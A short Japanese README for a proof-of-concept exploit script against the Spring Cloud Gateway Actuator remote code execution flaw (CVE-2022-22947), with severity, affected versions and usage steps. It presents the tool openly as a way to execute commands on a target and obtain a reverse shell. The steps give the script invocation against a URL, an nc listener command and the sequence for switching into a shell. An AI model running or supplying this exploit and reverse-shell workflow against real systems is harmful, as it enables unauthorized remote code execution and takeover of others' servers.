
Spring Cloud Gateway のリモートコード実行脆弱性のPOC。コマンド実行をベースに、リバースシェル操作を追加しました。
危険度:高リスク
POC/EXP状況:公開済み
CNVD番号:CNNVD-2022-16402
影響範囲:
Spring Cloud GateWay 3.1.0
Spring Cloud GateWay >=3.0.0,<=3.0.6
Spring Cloud GateWay <3.0.0
Spring Cloud Gateway にはリモートコード実行の脆弱性が存在します。この脆弱性は Spring Cloud Gateway アプリケーションの Actuator エンドポイントで発生し、有効化・公開・安全でない状態でコードインジェクション攻撃を受けやすくなります。攻撃者はこの脆弱性を悪用し、悪意のあるリクエストを作成することでリモートホスト上で任意のコードを実行させる可能性があります。
利便性のため、コマンド実行とリバースシェル取得を容易にするスクリプトを作成しました。
python3 CVE-2022-22947.py http://localhost:9000
1、まず nc でリッスンを開始する
nc -lvvp 5000
2、shell と入力し、リバースシェル操作に移行する

3、リバースシェルコマンドを入力してシェルを取得する
